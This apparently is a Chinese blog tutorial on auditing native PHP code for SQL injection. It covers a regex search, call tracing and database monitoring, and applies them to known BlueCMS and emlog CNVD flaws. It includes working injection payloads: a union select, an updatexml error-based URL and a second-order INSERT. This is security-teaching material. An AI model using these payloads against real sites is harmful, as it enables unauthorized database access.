首页 > 数据库 >代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析

代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析

时间:2025-01-15 14:34:49浏览次数:1  
标签:审计 php 代码 正则 SQL PHP 注入

知识点

1、PHP审计-原生态开发-SQL注入&数据库语句监控
2、PHP审计-原生态开发-SQL注入&正则匹配搜索
3、PHP审计-原生态开发-SQL注入&功能追踪

代码审计分类:

1、原生态开发-代码审计源码案例
2、框架类开发-代码审计源码案例
3、组件类开发-代码审计源码案例
4、前端类开发-代码审计源码案例

简要点:

1、代码审计必备知识点:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞。

image
image
image

挖掘技巧:

数据库语句监控-数据库SQL监控排查可利用语句定向分析
功能追踪-功能点文件SQL执行代码函数调用链追踪
正则搜索-(update|select|insert|delete|).?where.=

如何快速的在多个文件代码里面找脆弱点:

1、看文件路径
2、看代码里面的变量(可控)
3、看变量前后的过滤

一、演示案例-PHP审计-原生开发-SQL注入-正则搜索

Bluecms-CNVD-1Day-常规注入审计分析

image
审计流程:

(update|select|insert|delete|).?where.=
正则-ad_js.php->getone()->无过滤->有输出payload注入

image
搜出来的有一百多个结果,不可能一个一个点进去看,就需要从文件路径、代码里的可控变量、变量前后是否有过滤来排个顺序
image
image
image
image
image
image

既然都没看到过滤,那就尝试调用
image

Poc:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

image
image
image
image
image
image

二、演示案例-PHP审计-原生开发-SQL注入-功能跟踪

emlog-CNVD-1Day-常规注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200
image
image
审计流程:

comment.php->delCommentByIp($ip)->无过滤->构造触发

image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
Poc:

/admin/comment.php?action=delbyip&ip=' and updatexml(1,concat(0x7e,(select user()),0x7e)) --+'&token=11f3f9cb7e78e3f88e39ea5678939b7d

image
image

三、演示案例-PHP审计-原生开发-SQL注入-数据库语句监控

emlog-CNVD-1Day-2次注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138

image
审计流程:

数据库监控->user.php无可控->nickname->添加不可控->data.php可控->导出修改导入->触发二次注入
数据库监控项目:https://github.com/cw1997/MySQL-Monitor

image
image
image
image
image
image
image
image
image
image

Poc:

/admin/data.php
导入文件时执行SQL文件中语句,带入Payload
INSERT INTO emlog_user VALUES('110','','$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.',(select version()),'writer','n','','123@qq.com ' , '','','0','1687261845','1687261845');

image
image

/admin/user.php
select查询nickname条件数据,访问触发二次注入

image

标签:审计,php,代码,正则,SQL,PHP,注入
From: https://www.cnblogs.com/loveqixin/p/18672918

相关文章

  • diesel操作sqlite
    diesel={version="*",features=["sqlite","r2d2"]}diesel_derives={version="*",features=["sqlite"]}lazy_static="*"[build-dependencies]diesel_cli={version="*",......
  • 如何解决使用 SQL Server 管理器远程操作数据库时出现“索引超出了数组界限 (Microsof
    问题描述当您使用SQLServerManagementStudio(SSMS)远程连接并操作数据库时,可能会遇到以下错误提示:“索引超出了数组界限(Microsoft.SqlServer.Smo)”。这个错误通常发生在尝试执行某些特定操作(如查询、修改表结构等)时。该问题不仅影响工作效率,还可能导致数据操作失败。错......
  • PHP语法进阶
    PHP语法进阶数组数组能够在单个变量中存储多个值,并且可以根据键访问其中的值PHP有两种数组:数值数组、关联数组。数值和关联两个词都是针对数组的键而言的。先介绍下数值数组,数值数组是指数组的键是整数的数组,并且键的整数顺序是从0开始,依次类推。数值数组$maoshu=ar......
  • MYSQL多版本并发控制(MVCC)
    MYSQL支持并发事务,事务的有四个特性(ACID):原子性(Atomicity):一个事务中的所有操作,要么全部完成,要么全部不完成,不会结束在中间某个环节,而且事务在执行过程中发生错误,会被回滚到事务开始前的状态,就像这个事务从来没有执行过一样;一致性(Consistency):数据库只会从一个一致的状态转换到另......
  • 基于PHP+Mysql 论坛信息系统(源码+LW+部署讲解+数据库+ppt)
    !!!!!!!!!选题不知道怎么选不清楚自己适合做哪块内容都可以免费来问我避免后期給自己答辩找麻烦增加难度(部分学校只有一次答辩机会没弄好就延迟毕业了)会持续一直更新下去有问必答一键收藏关注不迷路源码获取:https://pan.baidu.com/s/1aRpOv3f2sdtVYOogQjb8jg?pwd=jf1d提取码:......
  • 基于PHP+Mysql人员信息管理(源码+LW+部署讲解+数据库+ppt)
    !!!!!!!!!选题不知道怎么选不清楚自己适合做哪块内容都可以免费来问我避免后期給自己答辩找麻烦增加难度(部分学校只有一次答辩机会没弄好就延迟毕业了)会持续一直更新下去有问必答一键收藏关注不迷路源码获取:https://pan.baidu.com/s/1aRpOv3f2sdtVYOogQjb8jg?pwd=jf1d提取码:......
  • 基于PHP+Mysql购物管理系统(源码+LW+部署讲解+数据库+ppt)
    !!!!!!!!!选题不知道怎么选不清楚自己适合做哪块内容都可以免费来问我避免后期給自己答辩找麻烦增加难度(部分学校只有一次答辩机会没弄好就延迟毕业了)会持续一直更新下去有问必答一键收藏关注不迷路源码获取:https://pan.baidu.com/s/1aRpOv3f2sdtVYOogQjb8jg?pwd=jf1d提取码:......
  • PHP语法基础
    PHP语法基础php文档拓展名是.phpphp文件通常包含html标签以及一些php脚本运行代码,注意:htmljscss可以在php文件执行但是,php不能在htmljscss在php文件执行php语法用;结尾<!DOCTYPEhtml><html><body><h1>我的第一张php页面><h1><?phpecho"hellomaoshu";?>......
  • SQL 性能优化技巧
    1.对查询进行优化,应尽量避免全表扫描,首先应考虑在where及orderby涉及的列上建立索引。2.应尽量避免在where子句中对字段进行null值判断,创建表时NULL是默认值,但大多数时候应该使用NOTNULL,或者使用一个特殊的值,如0,-1作为默认值。3.应尽量避免在where子句中使......
  • MySQL(高级特性篇) 07 章——InnoDB数据存储结构
    一、数据库的存储结构:页索引结构给我们提供了高效的索引方式,不过索引信息以及数据记录都是保存在文件上的,确切地说是存储在页结构中。另一方面,索引是在存储引擎中实现的,MySQL服务器上的存储引擎负责对表中数据的读取和写入工作。不同存储引擎中存放的格式一般是不同的,甚至有的......